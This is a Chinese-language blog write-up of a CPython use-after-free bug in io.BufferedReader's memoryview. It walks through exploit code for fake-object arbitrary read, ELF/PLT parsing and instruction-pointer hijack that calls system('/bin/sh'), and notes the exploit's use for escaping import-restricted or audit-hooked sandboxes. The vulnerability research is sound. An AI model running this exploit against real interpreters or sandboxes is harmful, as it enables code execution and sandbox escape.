不久前,我在浏览Python的bug追踪系统时,偶然发现了一个bug,具体描述为“memoryview to freed memory can cause segfault”。这个bug提交于2012年,最初出现在Python 2.7版本中;但直到今天,已经10年过去了,这个bug还没有得到修复。这激起了我的极大兴趣,所以,我决定仔细研究一下这个bug。
接下来,我们将详细分析造成这个漏洞的根本原因,以及如何编写一个可靠的exploit,并且让它适用于所有的Python 3版本。
Python对象
要理解CPython中发生的任何事情,首先要了解对象在内部是如何表示的。关于这个主题,本文只做简单介绍,要想深入了解这方面内容的读者,可以在互联网上找到许多详尽的资料。
在Python中,一切皆对象。实际上,CPython是用PyObject结构体来表示这些对象的。并且,每种类型的对象都在基本的PyObject结构体的基础之上,扩展了自己的字段。下面就,让我们看一个具体的PyObject结构体:
typedef struct _object {
Py_ssize_t ob_refcnt;
PyTypeObject *ob_type;
} PyObject;
例如,列表类型是由PyListObject结构体表示的,大致如下所示:
typedef struct {
PyObject ob_base;
Py_ssize_t ob_size;
PyObject **ob_item;
Py_ssize_t allocated;
} PyListObject;
我们可以看到,在ob_base中,每个对象都有一个refcount(ob_refcnt)和一个指向其相应类型对象(ob_type)的指针。类型对象是一个单例,存在于Python语言中的所有类型中,有且只有一个。例如,在int类型中,它将指向PyLong_Type;在列表类型中,它将指向PyList_Type。
了解上述背景知识后,让我们来看看PoC。
漏洞的PoC
实际上,这个漏洞的提交者还善意地提供了一份PoC代码;当这份代码运行时,将触发空指针解引用,具体如下所示:
import io
class File(io.RawIOBase):
def readinto(self, buf):
global view
view = buf
def readable(self):
return True
f = io.BufferedReader(File())
f.read(1) # get view of buffer used by BufferedReader
del f # deallocate buffer
view = view.cast('P')
L = [None] * len(view) # create list whose array has same size
\# (this will probably coincide with view)
view[0] = 0 # overwrite first item with NULL
print(L[0]) # segfault: dereferencing NULL
根因分析
虽然PoC中的注释对漏洞的成因具有提示作用,但是还不够详尽,下面,我们就来仔细讲讲。
这是一个非常典型的use-after-free漏洞,但要理解它,需要先搞清楚io.BufferedReader的作用。而这篇文档,则给出了很好的解释:
“它是一个缓冲型二进制流,提供对可读的、不可查找的RawIOBase原始二进制流的更高级别的访问。它继承自BufferedIOBase类。
从[BufferedReader]读取数据时,可能会从底层原始流中请求大量数据,并将其保存在内部缓冲区中。然后,可以在后续读取时,直接返回缓冲的数据。”
在概念验证代码中,首先定义一个名为File的类,它继承自io.RawIOBase类,并在此基础之上定义一些自己的方法。然后,又创建一个BufferedReader对象,将自定义File类的一个实例指定为底层原始流。
而在初始化BufferedReader时,将会分配一个内部缓冲区。当我们通过BufferedReader方法读取数据(见第11行),但是这些数据没在内部缓冲区中时,它将从底层流中读取它们。从底层流的读取数据时,是通过readinto函数完成的,该函数会接收一个缓冲区作为参数,并且原始流应该将数据读入该缓冲区。作为参数传递的缓冲区,实际上是一个memoryview,并且是由BufferedReader的内部缓冲区提供支持的。所以,您可以将这个memoryview视为指向内部缓冲区的指针或视图。
既然我们控制了底层的流对象,自然就可以让readinto函数保存对这个memoryview参数的引用,即使我们从函数中返回后,这个引用也依然持续存在,这正是PoC在第6行所做的事情。
一旦我们保存了对memoryview的引用,我们就可以删除BufferedReader对象。这将迫使内部缓冲区被强制释放,但是,我们仍然持有对memoryview的引用,这对于我们来说非常有用,因为它现在正好指向被释放的缓冲区。
漏洞利用技术
现在,我们已经获得了一个指向已释放的堆内存的内存视图,并且可以对其进行读取或写入操作,那么,我们接下来该怎么做呢?
最简单的利用方法,就是创建一个长度等于被释放的缓冲区长度的列表,之所以这么做,是因为它的元素缓冲区(ob_item)很可能与被释放的缓冲区分配在同一位置。这样的话,就意味着我们在同一块内存上得到两个不同的“视图”:一个视图,即memoryview,认为内存只是一个字节数组,我们可以随意地写入或读出;而第二个视图是我们创建的列表,它认为内存是一个PyObject指针列表。换句话说,我们可以在内存的某个地方创建“伪”PyObjects,并能通过写入memoryview,将其地址写入列表中,然后通过对列表的索引来访问它们。
就这个PoC来说,它把0写入缓冲区(见第16行),然后,用print(L[0])来访问它。通过访问L[0],实际上就得到了第一个PyObject*
,即0,然后,print函数试图访问它的一些字段,结果却是解除了空指针的引用。
鉴于这个漏洞至少自Python 2.7以来的每个版本上都存在,所以,为了好玩,我希望自己的exploit能够适用于尽可能多的Python 3版本。所以,我决定不再专门为Python 2编写exploit,因为它与当前版本存在较大差异,我又懒得调整exploit;不过话说回来,只要做些调整,在Python 2上跑这些exploit肯定没有问题。这就意味着,我不能使用针对CPython二进制代码或libc代码的“硬编码”偏移量。相反,我选择使用已知的结构体偏移量(因为它们在各个Python版本之间没有变化),然后通过手动解析ELF,以及一些已知的链接器行为,来实现可靠的exploit。
这个exploit的目标是调用system("/bin/sh")
,具体步骤如下:
- 泄露CPython的二进制函数指针
- 计算CPython的基址
- 计算出system或其PLT的地址
- 跳转到这个地址,并让第一个参数指向/bin/sh
- 大功告成
泄漏数据
从任意位置泄漏任意数量的数据非常容易。为此,我们可以借助于精心构造的bytearray对象,其布局如下所示:
typedef struct {
PyObject_VAR_HEAD
Py_ssize_t ob_alloc; /* How many bytes allocated in ob_bytes */
char *ob_bytes; /* Physical backing buffer */
char *ob_start; /* Logical start inside ob_bytes */
Py_ssize_t ob_exports; /* How many buffer exports */
} PyByteArrayObject;
其中,ob_bytes是指向堆分配缓冲区的指针。当我们对bytearray进行读取或写入操作时,我们实际上就是在读取/写入这个堆缓冲区。如果我们可以伪造一个bytearray对象,并且能够将ob_bytes设置为指向任意地址,那么,我们就可以通过读写这个bytearray来读写这个任意的地址。
我们知道,借助于CPython的话,伪造对象绝非难事。因为我们知道,当创建一个bytes对象(它不同于bytearray)时,bytes对象中的原始数据总是位于距PyBytesObject起始位置32个字节处的一个连续的内存块中。因此,我们可以使用id函数来获取PyBytesObject的地址,同时,我们还知道数据的偏移量,所以,我们可以这样做:
fake = b''.join([
b'AAAAAAAA', # refcount
b'BBBBBBBB', # type object pointer
b'CCCC' # other object data...
])
address_of_fake_object = id(fake) + 32
现在,address_of_fake_object就是AAAAAAAABBBBBBBBCCCC的地址……
最终的泄漏原语如下所示。注意,self.freed_buffer是指向释放的堆缓冲区的memoryview,而self.fake_objs是我们创建的列表,其元素的缓冲区也指向释放的堆缓冲区。
def _create_fake_byte_array(self, addr, size):
byte_array_obj = flat(
p64(10), # refcount
p64(id(bytearray)), # type obj
p64(size), # ob_size
p64(size), # ob_alloc
p64(addr), # ob_bytes
p64(addr), # ob_start
p64(0x0), # ob_exports
)
self.no_gc.append(byte_array_obj) # stop gc from freeing after we return
self.freed_buffer[0] = id(byte_array_obj) + 32
def leak(self, addr, length):
self._create_fake_byte_array(addr, length)
return self.fake_objs[0][0:length]
确定cpython的基址
现在,我们有了一个泄漏原语,所以,我们可以用它来确定二进制代码的基址。为此,我们需要一个指向二进制代码的函数指针。实际上,在Python 3的任何版本中,基本上没啥变化一个对象就是PyLong_Type对象,并且它含有指向CPython二进制代码的函数指针。所以,我选择使用偏移量24处的tp_dealloc成员,因为它在运行时指向type_dealloc函数,但我也可以很容易地在同一个对象中选择另一个指针,或者完全在另一个对象中选择一个指针。
一旦我们获得了一个指向二进制代码的指针,我们就可以将它向下舍入到最近的内存页面,然后,每次向后走一页,直到找到ELF头部为止。这种方法是有效的,因为我们知道二进制文件将映射到页面对齐的地址。
所有这些如下所示:
def find_bin_base(self):
\# Leak tp_dealloc pointer of PyLong_Type which points into the Python
\# binary.
leak = self.leak(id(int), 32)
cpython_binary_ptr = u64(leak[24:32])
addr = (cpython_binary_ptr >> 12) << 12 # page align the address
\# Work backwards in pages until we find the start of the binary
for i in range(10000):
nxt = self.leak(addr, 4)
if nxt == b'\x7fELF':
return addr
addr -= PAGE_SIZE
return None
控制指令指针
回想一下,每个PyObject都有一个指向其类型对象的指针,例如,PyLongObject有一个指向PyLong_Type的指针,而PyListObject有一个指向pylist_type的指针。实际上,每个类型对象都在充当vtable,这意味着,那里有很多有用的函数指针。了解这些后,我们就不难想到:如果我们可以伪造一个PyObject,并让其指向一个伪造的类型对象,并调用其中一个vtable函数,我们就可以控制指令指针。
这很容易通过前面伪造对象的技巧来实现;之后,我们就可以通过访问伪造的对象上的字段来触发tp_getattro函数指针。
def set_rip(self, addr, obj_refcount=0x10):
"""Set rip by using a fake object and associated type object."""
\# Fake type object
type_obj = flat(
p64(0xac1dc0de), # refcount
b'X'*0x68, # padding
p64(addr)*100, # vtable funcs
)
self.no_gc.append(type_obj)
\# Fake PyObject
data = flat(
p64(obj_refcount), # refcount
p64(id(type_obj)), # pointer to fake type object
)
self.no_gc.append(data)
\# The bytes data starts at offset 32 in the object
self.freed_buffer[0] = id(data) + 32
try:
\# Now we trigger it. This calls tp_getattro on our fake type object
self.fake_objs[0].trigger
except:
\# Avoid messy error output when we exit our shell
pass
我提供了一种设置伪造对象的refcount的方法,因为通过vtable调用函数时,函数的第一个参数是指向对象本身的指针,所以,如果vtable函数实际上是system,那么,对象的第一个字节将被解释为要执行的命令。因此,在创建调用system的伪造对象时,我们可以将refcount设置为/bin/sh\x00
。
确定system的地址
我们知道,所有版本的Python都是从libc中导入system函数的。如果Python是动态链接的,那么PLT表中就应该有一个针对system函数的条目,因此,我们只需要找出这个条目的地址,就可以调用它了。幸运的是,我们可以通过解析ELF来解决这个问题,具体步骤如下所示:
- 通过任意泄漏原语来泄漏ELF头部
- 解析程序头部,寻找PT_DYNAMIC类型的头部,从而得到.dynamic节的地址
- 解析.dynamic节,提取DT_JMPREL、DT_SYMTAB、DT_STRTAB、DT_PLTGOT和DT_INIT的值,从而得到所需结构体的地址
- 遍历重定位表,确定每个条目在符号表中的偏移量,并利用该偏移量获取字符串表的偏移量,从而得到相应的函数名称
- 继续遍历重定位表,直到找到对应于system命令的条目为止。
我们想从中了解的关键信息是符号system在重新定位表中的索引。幸运的是,GOT和PLT条目在链接器的存放顺序,与在在重定位表中的顺序是完全一直的,这意味着,一旦我们获得了system条目的索引,我们就可以计算出它在GOT中的地址和它的PLT存根的地址。
关于Full RELRO模式
如果二进制文件是基于Full RELRO模式编译的,那么所有的函数地址就都会被解析,这意味着我们可以使用前面的任意泄漏原语,直接从GOT中读取system函数的地址。
system_addr = got_address + system_idx*8
其中,got_address来自.dynamic节的DT_PLTGOT条目,而system_idx则是我们刚才通过走重定位表算出来的。
我们可以通过读取GOT中的第2和第3个条目,来确定该二进制代码的编译模式是否为full RELRO,因为这两个条目通常分别是linkmap和dl_runtime_resolve函数的地址。如果它们的值都是0,那么我们就可以认为,该二进制代码是在full RELRO模式下编译的,因为如果在运行时没有任何需要解析的东西,加载器不会浪费时间在PLT中设置解析指针/代码。
关于Partial / No RELRO模式
如果二进制代码是在partial RELRO或no RELRO模式下编译的,则需要在运行时解析system函数的地址。对于我们来说,这就意味着将跳转到相关的PLT存根,通过它解析函数地址并通过它来调用函数,而不是从GOT读取函数地址并直接调用相关函数。
下面给出计算PLT存根地址的公式:
system_plt = plt_address + system_idx*SIZEOF_PLT_STUB
其中,SIZEOF_PLT_STUB总是16字节,这意味着,这个等式中唯一剩下的未知数就是PLT地址。据我所知,ELF中没有提供存储这个地址的结构体,因此,我们必须借助一些技巧才能找出它。幸运的是,我用过的所有链接器总是将PLT直接放在.init节之后,所以,我们可以通过.dynamic节的DT_INIT条目找到该地址。此外,在x86-64系统上,PLT的第一条指令总是push qword ptr [rip + offset]
,其操作码是ff35。因此,我们可以在.init节的尾部搜索字节ff35:在哪里找到这些字节,哪里就是PLT的起始位置。
init_data = self.leak(init, 64)
plt_offset = None
for i in range(0, len(init_data), 2):
if init_data[i:i+2] == b'\xff\x35': # push [rip+offset]
plt_offset = i
break
如果您想了解解析方面的细节,建议您阅读ELF手册页和Wikipedia文章,其中含有相关结构体的更多信息。
最后的成品
将所有这些部分放在一起,我们就得到了一个100%可靠的exploit,它适用于x86-64架构Ubuntu平台上的所有的Python 3版本,即使启用了PIE、full RELRO和 CET,也没有影响;并且,该exploit不需要导入任何其他模块。下面是在Ubuntu 22.04上的测试结果:
您可以在我的GitHub上找到该exploit的完整代码,具体地址为https://github.com/kn32/python-buffered-reader-exploit/blob/master/exploit.py。
小结
这整件事有什么意义呢?难道不能直接运行os.system(...)
吗?嗯,问得好。
鉴于您首先需要具备执行任意Python代码的权限,因此,该exploit在大多数情况下都没有多大用处。但是,它在某些Python解释器中可能很有用,比如通过禁止导入模块或使用Audit Hooks来“沙箱化”您的代码的解释器,因为该exploit既不用导入任何模块,也不会创建任何代码对象;一旦执行这两种操作,将分别触发import
和code.__new__
钩子。实际上,这里的exploit只会触发一个builtin.__id__
钩子事件,而这通常是被允许的。